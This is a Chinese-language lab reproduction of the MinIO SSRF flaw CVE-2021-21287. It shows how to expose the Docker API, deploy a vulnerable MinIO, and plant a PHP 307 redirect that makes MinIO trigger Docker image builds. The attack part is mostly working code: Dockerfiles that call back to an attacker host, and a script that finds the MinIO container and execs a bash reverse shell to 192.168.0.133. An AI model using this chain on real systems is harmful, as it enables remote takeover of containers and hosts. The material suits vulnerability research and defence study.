MinIO未授权SSRF漏洞（CVE-2021-21287）漏洞复现

测试环境Centos8.2

一、启用Docker API

打开配置文件找到

ExecStart=/usr/bin/dockerd 

ExecStart=/usr/bin/dockerd  -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

重启

$ systemctl daemon-reload
$ systemctl restart docker

查看端口是否启用

[root@localhost ~]# netstat -nltp |grep 2375
tcp6       0      0 :::2375                 :::*                    LISTEN      4449/dockerd        
[root@localhost ~]# 

访问一下

curl -X GET http://127.0.0.1:2375/images/json

如果有结果说明是成功的。

 

Docker 安装 minio

docker-compose.yml

version: '3.7'
services:
  minio1:
    image: minio/minio:RELEASE.2021-01-16T02-19-44Z
    volumes:
      - data1-1:/data1
      - data1-2:/data2
    ports:
      - "9000:9000"
    environment:
      MINIO_ACCESS_KEY: minio
      MINIO_SECRET_KEY: minio123
    command: server http://minio{1...4}/data{1...2}
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

## By default this config uses default local driver,
## For custom volumes replace with volume driver configuration.
volumes:
  data1-1:
  data1-2:

启动

[root@localhost momo]# 
[root@localhost momo]# docker-compose -f docker-compose2.yml up
Building with native build. Learn about native build in Compose here: https://docs.docker.com/go/compose-native-build/
Pulling minio1 (minio/minio:RELEASE.2021-01-16T02-19-44Z)...
RELEASE.2021-01-16T02-19-44Z: Pulling from minio/minio
a6b97b4963f5: Pull complete
13948a011eec: Pull complete
b27f7b93c977: Pull complete
527a35f50a95: Pull complete
bae74d83b250: Pull complete
0f5c2801c42c: Pull complete
23c30f3146bf: Pull complete
Digest: sha256:a176d2194523a587f4103bce5e8d408e7aadc737e7e67067ca9c195a2b69fbe4
Status: Downloaded newer image for minio/minio:RELEASE.2021-01-16T02-19-44Z
Recreating momo_minio1_1 ... done

启动之后需要等等。大概一分钟左右。才能访问

 

 

测试一下SSRF

 

 

可以导致SSRF 那么添加一个DockerFile 通过API来进行创建容器

 

首先需要80 端口的index.php

这里我是用宝塔搭建的网站

index.php如下：

<?php
header('Location: http://192.168.0.103:2375/build?remote=http://192.168.0.103/Dockerfile&nocache=true&t=evil:1', false, 307);

这里是通过Docker API 去build 获取80端口下面的DockerFIle

 

然后DockerFile 文件如下：

ROM alpine:3.13
RUN wget -T4 http://192.168.0.103:811

进行测试

 

发现已经收到请求。并且建立了容器

 

 

然后试试接管minio

 

DockerFile如下：

这个地方有坑。还没有改好。我是随便起个docker 反弹shell

FROM alpine:3.13

RUN apk add curl bash jq

RUN set -ex && \
    { \
        echo '#!/bin/bash'; \
        echo 'set -ex'; \
        echo 'target="http://192.168.0.103:2375"'; \
        echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
        echo 'for item in ${jsons[@]}; do'; \
        echo '    name=$(echo $item | base64 -d | jq -r ".Image")'; \
        echo '    if [[ "$name" == *"minio/minio"* ]]; then'; \
        echo '        id=$(echo $item | base64 -d | jq -r ".Id")'; \
        echo '        break'; \
        echo '    fi'; \
        echo 'done'; \
        echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.0.133/811 0>&1\"]}" | jq -r ".Id")'; \
        echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
    } | bash

然后发送请求。测试是否反弹shell